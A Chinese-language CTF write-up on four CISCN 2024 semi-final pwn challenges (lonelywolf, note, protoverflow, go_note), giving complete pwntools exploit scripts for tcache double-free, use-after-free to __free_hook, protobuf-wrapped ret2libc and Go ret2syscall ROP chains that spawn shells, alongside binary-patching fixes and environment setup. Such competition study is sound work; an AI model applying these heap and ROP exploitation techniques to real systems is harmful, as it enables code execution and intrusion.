叶际参差patch实例
patch方法
lonelywolf
只能存在一个chunk,存在uaf漏洞,有tcache
lonelywolf 思路 先改key构造double free,让fd指针指向该tcache,去泄露heap_base
1 2 3 4 5 6 7 8 9 add(0x70) delete() edit(b"a"*0x10) delete() # dbg() show() p.recvuntil(b"Content: ") heap_addr=u64(p.recv(6).ljust(8,b"\x00"))-0x250 print(hex(heap_addr))
改next指针,取heap_base处的chunk,改struct的表的结构,伪造tcache都是满的,再free让函数进unsorted bin,
拿到libc_base
1 2 3 4 5 6 7 8 9 10 11 edit(p64(heap_addr)) add(0x70) add(0x70) edit(b"a"*0x40) delete() show() # dbg() libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3ebca0 print(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] one_gadget = libc_base + 0x10a41c
通过这个unsorted改struct上的next指针(tcache bin不校验)为free_chunk的地址,把free_chunk覆盖为one_gadget
1 2 3 4 edit(b'\x03'+b'\x00'*0x3f+p64(free_hook)) add(0x10) edit(p64(one_gadget)) delete()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import * import sys from LibcSearcher import * file_path = "./lonelywolf" remote_host = "node4.anna.nssctf.cn" remote_port = 26325 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] elf = ELF(file_path) libc = elf.libc if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) # gdb.attach(p, """ # b *0x08048666 # c # """, api=True) def dbg(): gdb.attach(p) pause() def sla(a, b):p.sendlineafter(a, b) def ru(a):p.recvuntil(a) def sa(a, b):p.sendafter(a, b) def add(a): sla(b"Your choice: ",str(1)) sla(b"Index:",str(0)) sla(b"Size: ",str(a)) def edit(a): sla(b"Your choice: ",str(2)) sla(b"Index:",str(0)) sla(b"Content: ",a) def show(): sla(b"Your choice: ",str(3)) sla(b"Index:",str(0)) def delete(): sla(b"Your choice: ",str(4)) sla(b"Index:",str(0)) add(0x70) delete() edit(b"a"*0x10) delete() # dbg() show() p.recvuntil(b"Content: ") heap_addr=u64(p.recv(6).ljust(8,b"\x00"))-0x250 print(hex(heap_addr)) # dbg() edit(p64(heap_addr)) add(0x70) add(0x70) edit(b"a"*0x40) delete() show() # dbg() libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3ebca0 print(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] one_gadget = libc_base + 0x10a41c # dbg() edit(b'\x00'*0x40+p64(free_hook)) add(0x10) edit(p64(one_gadget)) delete() p.interactive()
2024全国大学生信息安全竞赛(ciscn)半决赛(华中赛区)Pwn题解_2024全国大学生信息安全竞赛(ciscn)半决赛(华中赛区)pwn题解-CSDN博客
CISCN2024]华中半决赛 PWN部分题解 - S1nyer - 博客园
通过网盘分享的文件:ciscn2024_华中赛区.zip 链接: https://pan.baidu.com/s/1CBySj_AP9wRwOlE5_7IOIQ?pwd=GAME 提取码: GAME
note 签到题 2.31的libc
并且有uaf漏洞,改unsoted bin的next为free_hook,把它覆盖为system函数
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * import sys from LibcSearcher import * file_path = "./note" remote_host = "192.168.137.1" remote_port = 2121 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] elf = ELF(file_path) libc = elf.libc if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) # gdb.attach(p) def dbg(): gdb.attach(p) pause() def sla(a, b):p.sendlineafter(a, b) def sa(a, b):p.sendafter(a, b) def ru(a):return p.recvuntil(a) def add(size, content): sla(b"5. exit\n", b"1") sla(b"content: \n", str(size).encode()) sla(b"content: \n", content) def edit(index, content): sla(b"5. exit\n", b"2") sla(b"index: \n", str(index).encode()) sla(b"content: \n", str(len(content)).encode()) sa(b"Content: \n", content) def delete(index): sla(b"5. exit\n", b"3") sla(b"index: \n", str(index).encode()) def show(index): sla(b"5. exit\n", b"4") sla(b"index:", str(index).encode()) for _ in range(10): add(0x80,b"/bin/sh\x00") for i in range(8): delete(7-i) # dbg() show(0) libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ecbe0 print(hex(libc_base)) edit(1,p64(libc_base+libc.sym["__free_hook"])) # dbg() add(0x80,b"1111") add(0x80,p64(libc_base + libc.sym['system'])) delete(8) p.interactive()
patch 直接把call free给nop掉
应用patch
protoverflow 环境搭建 1)建 ./lib 并把“必须文件”放进去
先去2.27-3ubuntu1.6中拿到对应的ld文件
1 2 3 4 5 6 7 8 mkdir -p lib cp -f libc-2.27.so lib/ cp -f libprotobuf.so.10 lib/ cp -f ld-2.27.so lib/ ln -sf libc-2.27.so lib/libc.so.6# 程序要找的是 libc.so.6,不是 libc-2.27.so改名 chmod +x lib/ld-2.27.so pwn
2)补齐“旧版” libstdc++ 和 libgcc(关键,否则会 GLIBC_2.3x not found)
用 Ubuntu 18.04 容器把对应 so 拷出来到你的 ./lib:
1 2 3 docker run --rm -it \ -v "$PWD":/work -w /work \ ubuntu:18.04 bash
逐项解释:
docker run ... ubuntu:18.04 bash 启动一个 Ubuntu 18.04 的容器,并执行 bash 让你进入交互式终端。
-it -i 保持标准输入,-t 分配伪终端,组合就是“我能在里面敲命令”。
--rm 退出容器后自动删除容器(不留垃圾)。
-v "$PWD":/work 把你当前目录(项目目录)挂载到容器内的 /work。 这样容器里复制出来的 so 文件能直接落到你本机项目目录。
-w /work 进入容器后,默认工作目录就是 /work(省得你再 cd /work)。
容器里 /work 就是你宿主机的当前目录。
进入容器后执行:
1 2 3 4 5 6 7 8 apt update apt install -y libstdc++6 libgcc1#更新软件源并安装库 cp -f /usr/lib/x86_64-linux-gnu/libstdc++.so.6 /work/lib/ cp -f /lib/x86_64-linux-gnu/libgcc_s.so.1 /work/lib/ 2>/dev/null || \ cp -f /usr/lib/x86_64-linux-gnu/libgcc_s.so.1 /work/lib/ exit
3)用“指定 ld + –library-path”运行(这就是“同环境”启动方式)
1 ./lib/ld-2.27.so --library-path ./lib ./pwn
能正常跑并输出 Gift: ... 就说明环境启动成功。
4)一眼确认:所有关键库都从 ./lib 加载(验收)
1 2 LD_DEBUG=libs ./lib/ld-2.27.so --library-path ./lib --list ./pwn 2>&1 | \ grep -E 'libc\.so\.6|libstdc\+\+\.so\.6|libgcc_s\.so\.1|libprotobuf\.so\.10'
验收标准:最后几行必须长这样(路径是 ./lib/...):
libprotobuf.so.10 => ./lib/libprotobuf.so.10
libstdc++.so.6 => ./lib/libstdc++.so.6
libgcc_s.so.1 => ./lib/libgcc_s.so.1
libc.so.6 => ./lib/libc.so.6
5)写个 run.sh(以后别手敲,确保永远同环境)
1 2 3 4 5 6 cat > run.sh <<'EOF' #!/bin/bash DIR="$(cd "$(dirname "$0")" && pwd)" exec "$DIR/lib/ld-2.27.so" --library-path "$DIR/lib" "$DIR/pwn" EOF chmod +x run.sh
以后运行就是:
调试也就是
gdb --args ./lib/ld-2.27.so --library-path ./lib ./pwn
6)你的 pwntools 本地调试也必须用同方式
1 io = process(["./lib/ld-2.27.so", "--library-path", "./lib", "./pwn"])
protobuf-pwn利用-先知社区
本题真正的入口不是main,而是ParseFromArray,只有 Parse 成功 才会进入 sub_324A(),如果不能构造“合法 protobuf”,就永远进不了漏洞函数
v5 = google::protobuf::MessageLite::ParseFromArray(&unk_209080, s, v6);
从字节数组 s 中读取 v6 个字节,并将解析得到的消息存储到 unk_209080中。如果解析成功, ParseFromArray将返回true;
检验函数sub_324A,打ret2libc就好
LD_LIBRARY_PATH=. ./pwn
p = process("./protoverflow", env={"LD_LIBRARY_PATH": "."})
让程序先去本地查找配置文件
执行./gui.py提取
1 2 3 4 5 6 7 8 9 10 执行`./gui.py`提取 syntax = "proto2"; message protoMessage { optional string name = 1; // 可有可无:字符串 optional string phoneNumber = 2; // 可有可无:字符串 required bytes buffer = 3; // 必须有:任意字节 required uint32 size = 4; // 必须有:32位无符号整数 }
protoc --python_out=. message.proto编译出可以导入到python的文件
(默认输出到/home/p0ach1l/.pbtk/)
1 2 from pwn import * import message_pb2#导入
exp
ROPgadget –binary ./libc.so.6 –only “pop|ret” | grep “pop rdi”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * import message_pb2 context.arch = "amd64" context.os = "linux" # context.log_level = "debug" bin_path = "./protoverflow" ld = "./lib/ld-2.27.so" libdir = "./lib" libc = ELF("./lib/libc.so.6", checksec=False) p = process([ld, "--library-path", libdir, bin_path]) p.recvuntil(b"0x") libc_base=int(p.recv(12),16)- libc.sym["puts"] success("libc_base: " + hex(libc_base)) system = libc_base + libc.sym["system"] binsh = libc_base + next(libc.search(b"/bin/sh\x00")) # rop = ROP(libc) # pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"])[0] # ret = libc_base + rop.find_gadget(["ret"])[0] rdi=libc_base+0x2164f ret=libc_base+0x8aa buf = b"a" *0x218 + p64(rdi) + p64(binsh) + p64(ret) + p64(system) msg = message_pb2.protoMessage() # msg.name = b"111" # msg.phoneNumber = b"1213" msg.buffer = buf msg.size = len(buf) p.send(msg.SerializeToString()) p.interactive()
patch 思路,把size改小,让它无法溢出就好
1 2 mov edx, dword ptr [rbp+n] ; 3字节 mov edx, 200h ; 5字节
所以要跳转到其它段去操作
1 2 3 4 5 6 7 8 0x0331B: jmp eh_frame nop ;nop来补齐六个字节 eh_frame:(0x6243) mov edx,0x200 ;设置size参数为0x200 mov rcx, [rbp-8] ;还原被覆盖的指令 jmp 0x3322 ;跳转回去
(0,0x8000]有可执行权限(可以多去看看.eh_frame/.eh_frame_hdr)
特征
连续 \x00(最常见)
或连续 \x90(NOP sled)
或对齐填充(CC 有时也会见到)
长度要求 :至少 14 字节(你当前 trampoline 是 14 字节),建议找 ≥ 0x20 更稳。
选取位置0x6243
patch之后
因为跳转的指令把下一个条mov的指令也给覆盖了,所以在跳转之后要再加上
最后记得保存patch就好
(0,0x8000]有可执行权限(可以多去看看.eh_frame/.eh_frame_hdr)
特征
连续 \x00(最常见)
或连续 \x90(NOP sled)
或对齐填充(CC 有时也会见到)
长度要求 :至少 14 字节(你当前 trampoline 是 14 字节),建议找 ≥ 0x20 更稳。
go_note go基础
C世界
Go世界
malloc
runtime.mallocgc
realloc
runtime.growslice
memcpy
runtime.memmove
free
GC 自动
go的string不是char *
1 2 3 4 string { ptr//+0x0 数据地址 len//+0x8 长度 }
eg:s := “AAAA”
出现形式
1 2 3 4 5 content.str content.len or MOVQ BX ; ptr MOVQ CX ; len
Go 的 slice:(最关键)
✅ slice = 3个连续的8字节
1 2 3 4 5 slice { data len cap }
出现形式
1 2 3 nb->Notes.array nb->Notes.len nb->Notes.cap
struct
eg:
1 2 3 4 5 type Note struct { id uint64 ptr *byte len uint64 }
在汇编看到:
1 2 3 *(_QWORD *)(addr-24) *(_QWORD *)(addr-16) *(_QWORD *)(addr-8)
说明:
✅ 一次写 3 个 8 字节 ✅ struct 大小 = 24
常见函数
1 2 3 runtime.growslice->append(slice, x)类似realloc(),很少是漏洞 runtime.memmove / typedslicecopy-》copy(dst, src)可能造成栈溢出漏洞 panicSliceB / panicSliceAcap
看到
立刻想到
array/len/cap
slice
str+len
string
growslice
append
memmove
memcpy
panicSlice
bounds check
3×QWORD写
struct
分析 go语言主要看汇编代码和gdb调试
定位入口
1 go tool nm note | grep 'main\.'
最后gdb调试发现edit不限制输入
但是其实也有一个静态的插件
GoReSym
用它执行.\GoReSym.exe -t -p -strings .\note | Out-File -FilePath symbols.json -Encoding utf8提取json
脚本
修改一下脚本
with open(json_path, 'r') as rp:
修改为(增加 encoding='utf-8-sig'): with open(json_path, 'r', encoding='utf-8-sig') as rp:
在ida中File -> **Script file.**选择依次选择脚本和json文件得到
找偏移 64=0x40
且 _OWORD v11[2]; // [rsp+0h] [rbp-40h] BYREF,存在栈溢出
但是开启了NX保护,shellcode不行,考虑ret2syscall
查找syscall
execve(rbx=”/bin/sh”, rcx=0, rdi=…)
并且下面部分还有个rcx置零指令
查找相关寄存器操作指令
ROPgadget --binary ./note | grep -E "(xor|sub|mov) (rdi|edi)" | grep "ret"
字符串放置用mov [eax], edx
ROPgadget --binary ./note | grep -E "mov .*\\[e?rax\\].*edx"
每次只能存储4个字节
bss找一个rw段
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * import sys from LibcSearcher import * file_path = "./note" remote_host = "192.168.137.1" remote_port = 2121 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] elf = ELF(file_path) if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) # gdb.attach(p, """ # b *0x08048666 # c # """, api=True) def dbg(): gdb.attach(p) pause() def sla(a, b):p.sendlineafter(a, b) def ru(a):p.recvuntil(a) def sa(a, b):p.sendafter(a, b) sla(b"Your choice >",str(1)) sla(b"Please input note content:",b"aaaaaaaa") sla(b"Your choice >",str(3)) sla(b"Please input note id: ",str(1)) #execve(rdi="/bin/sh", rsi=0, rdx=...)或execve(rbx="/bin/sh", rcx=0, rdi=...) rax_rbx=0x404408 rdx=0x47a8fa ret=0x401032 rbx=0x404541 rcx_0=0x40318E #ROPgadget --binary ./note | grep -E "(xor|sub|mov) (rdi|edi)" | grep "ret" edi_0_add_rsp_0x10_pop_rbp=0x411AEE syscall = 0x403163 bss=0x526700 #ROPgadget --binary ./note | grep -E "mov .*\\[e?rax\\].*edx" mov_eax_edx=0x402fd1 pay=b'a' * 0x38 + b'deadbeef' #参数放置 pay+=p64(rax_rbx)+p64(bss)+p64(0)+p64(rdx)+b"/bin"+b"\x00"*4+p64(mov_eax_edx) pay+=p64(rax_rbx)+p64(bss+4)+p64(0)+p64(rdx)+b"/sh"+b"\x00"*5+p64(mov_eax_edx) #syscall触发 pay+=p64(rax_rbx)+p64(0x3b)+p64(0) pay+=p64(rbx)+p64(bss)+p64(rcx_0)+p64(edi_0_add_rsp_0x10_pop_rbp)+p64(0)*3 pay+=p64(syscall) sla(b"Please input new content:",pay) # dbg() p.interactive()
patch 直接把*(_BYTE *)v8 = *str;这条语句nop掉了,对应000000000047F3DF mov [r12], r13b这条指令